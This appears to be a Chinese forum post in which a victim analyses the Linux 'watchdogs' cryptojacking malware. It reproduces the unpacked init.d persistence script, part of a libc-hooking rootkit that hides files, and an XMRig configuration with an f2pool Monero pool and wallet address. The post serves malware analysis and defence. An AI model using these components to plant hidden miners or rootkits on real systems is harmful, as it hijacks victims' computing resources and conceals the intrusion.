我也遇到了相同的情况，病毒有点意思
首先会伪装成一张可执行的图片，执行完毕后的脚本如下
发现该图片是用 uxp 加壳的，想办法去壳，破解后发现了几个文件
其中 deamon 的脚本破解为
```
#! /bin/bash
#chkconfig: - 99 01
#description: watchdogs daemon
#processname: /usr/sbin/watchdogs
### BEGIN INIT INFO
# Provides: /user/sbin/watchdogs
# Required-Start:
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: watchdogs deamon
# Description: watchdogs deamon
### END INIT INFO
LocalPath="/usr/sbin/watchdogs"
name='watchdogs'
pid_file="/tmp/.lsdpid"
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"
get_pid(){
cat "$pid_file"
}
is_running(){
[ -f "$pid_file" ] &&/usr/sbin/watchdogs -Pid $(get_pid) > /dev/null 2>&1
}
case "$1" in
start)
if is_running; then
echo "Already started"
else
echo "Starting $name"
$LocalPath >>"$stdout_log" 2>> "$stderr_log" &
echo $! > "$pid_file"
if ! is_running; then
echo "Unable to start, see$stdout_log and $stderr_log"
exit 1
fi
fi
;;
stop)
if is_running; then
echo -n "Stopping$name.."
kill $(get_pid)
for i in {1..10}
do
if ! is_running; then
break
fi
echo -n "."
sleep 1
done
echo
if is_running; then
echo "Not stopped; maystill be shutting down or shutdown may have failed"
exit 1
else
echo "Stopped"
if [ -f "$pid_file"]; then
rm "$pid_file"
fi
fi
else
echo "Not running"
fi
;;
restart)
$0 stop
if is_running; then
echo "Unable to stop, will notattempt to start"
exit 1
fi
$0 start
;;
status)
if is_running; then
echo "Running"
else
echo "Stopped"
exit 1
fi
;;
*)
echo "Usage: $0{start|stop|restart|status}"
exit 1
;;
esac
exit 0
```
劫持系统的 c++部分为
```
void *libc;
static void init (void) __attribute__ ((constructor));
static int (*old_access) (const char *path, int amode);
static int (*old_lxstat) (int ver, const char *file, struct stat * buf);
static int (*old_lxstat64) (int ver, const char *file, struct stat64 * buf);
static int (*old_open) (const char *pathname, int flags, mode_t mode);
static int (*old_rmdir) (const char *pathname);
static int (*old_unlink) (const char *pathname);
static int (*old_unlinkat) (int dirfd, const char *pathname, int flags);
static int (*old_xstat) (int ver, const char *path, struct stat * buf);
static int (*old_xstat64) (int ver, const char *path, struct stat64 * buf);
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
...省略大量
```
还有一个挖坑的配置
```
{
"algo": "cryptonight",
"api": {
"port": 0,
"access-token": null,
"id": null,
"worker-id": null,
"ipv6": false,
"restricted": true
},
"asm": true,
"autosave": true,
"av": 0,
"background": false,
"colors": true,
"cpu-affinity": null,
"cpu-priority": null,
"donate-level": 0,
"huge-pages": true,
"hw-aes": null,
"log-file": null,
"max-cpu-usage": 100,
"pools": [
{
"url": "stratum+tcp://
xmr.f2pool.com:13531",
"user": "46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.teny",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"variant": -1,
"tls": false,
"tls-fingerprint": null
}
],
"print-time": 60,
"retries": 5,
"retry-pause": 5,
"safe": false,
"threads": null,
"user-agent": null,
"watch": false
}
```
发现是在挖门罗币。
为了获取更多的 CPU，这个病毒还会首先检测并杀死竞争对手。